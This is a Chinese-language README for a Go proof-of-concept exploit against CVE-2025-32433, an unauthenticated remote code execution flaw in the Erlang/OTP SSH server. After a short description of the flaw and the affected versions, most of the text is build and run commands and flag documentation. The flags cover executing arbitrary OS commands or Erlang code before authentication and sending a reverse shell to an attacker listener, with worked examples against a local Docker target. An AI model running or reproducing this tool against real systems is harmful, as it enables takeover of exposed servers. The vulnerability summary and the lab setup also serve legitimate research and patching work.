CVE-2025-32433 是 Erlang/OTP SSH 服务器中的一个严重未授权远程代码执行漏洞。在修复版本之前,SSH 守护进程会在认证完成前错误地处理通道消息,使得攻击者可以在未提供任何凭证的情况下打开通道并发送 exec 请求。任何嵌入了 Erlang/OTP SSH 服务器的应用程序(包括 Elixir、RabbitMQ、CouchDB 等)在 SSH 端口暴露时都会受到影响。
此 Go PoC 连接到目标 SSH 端口,发送构造的 SSH_MSG_CHANNEL_OPEN 后紧跟 SSH_MSG_CHANNEL_REQUEST exec 载荷——整个过程完全在预认证阶段——导致远程 Erlang 节点执行任意操作系统命令。执行是盲的:命令输出不会返回给攻击者。
受影响版本: Erlang/OTP < 27.3.3, < 26.2.5.11, < 25.3.2.20
bash -c 运行操作系统命令,自动封装在 Erlang 的 os:cmd 中gen_tcp 反弹 shell,不依赖 bash 或 /dev/tcp预编译的二进制文件适用于 macOS、Linux 和 Windows,可在 Releases 页面 获取。下载适用于你平台的二进制文件并直接运行——无需安装 Go。
或者从源码构建:
[!NOTE] 需要 Go 1.21+。无外部依赖——仅使用 Go 标准库。
git clone https://github.com/joshuavanderpoll/CVE-2025-32433.git
cd CVE-2025-32433
go build -o cve-2025-32433 cve-2025-32433.go
git clone https://github.com/joshuavanderpoll/CVE-2025-32433.git
cd CVE-2025-32433
go build -o cve-2025-32433.exe cve-2025-32433.go
go install github.com/joshuavanderpoll/cve-2025-32433@latest
go run github.com/joshuavanderpoll/cve-2025-32433@latest -host 192.168.1.100 -port 22
./cve-2025-32433 的使用方法:
-host 字符串
目标 IP 或主机名
-port 整数
SSH 端口(默认:22)(默认值 22)
-timeout 整数
连接超时(秒)(默认:5)(默认值 5)
-command 字符串
在目标上运行的 shell 命令(封装在 os:cmd 中)
-code 字符串
在目标上执行的原始 Erlang 表达式
-shell
发送 Erlang 原生 gen_tcp 反弹 shell
-lhost 字符串
反弹 shell 的监听 IP(与 -shell 一起使用)
-lport 整数
反弹 shell 的监听端口(默认:4444)
./cve-2025-32433 -host 127.0.0.1 -port 2222

./cve-2025-32433 -host 127.0.0.1 -port 2222 -command 'whoami > /tmp/out2.txt'

-shell 标志发送一个原生的 Erlang gen_tcp 反弹 shell 载荷——无需 bash 或 /dev/tcp。先启动一个监听器,然后发送利用程序。
./cve-2025-32433 -host 127.0.0.1 -port 2222 -shell -lhost host.docker.internal -lport 4444

-code 标志直接发送原始 Erlang 表达式——无需 bash -c 包装器。适用于纯 Erlang 操作或目标上没有 bash 的情况。由于执行是盲的,请将输出写入文件并单独检索。
./cve-2025-32433 -host 127.0.0.1 -port 2222 -code 'file:write_file("/tmp/out.txt", os:cmd("id")).'

更多细节请查看 docker/DOCKER.md
cd docker/
docker compose down
docker compose up -d
# 你可以在 -host 127.0.0.1 -port 2222 进行测试
此工具仅供教育和研究目的。作者对因使用本工具造成的任何滥用或损害不承担任何责任。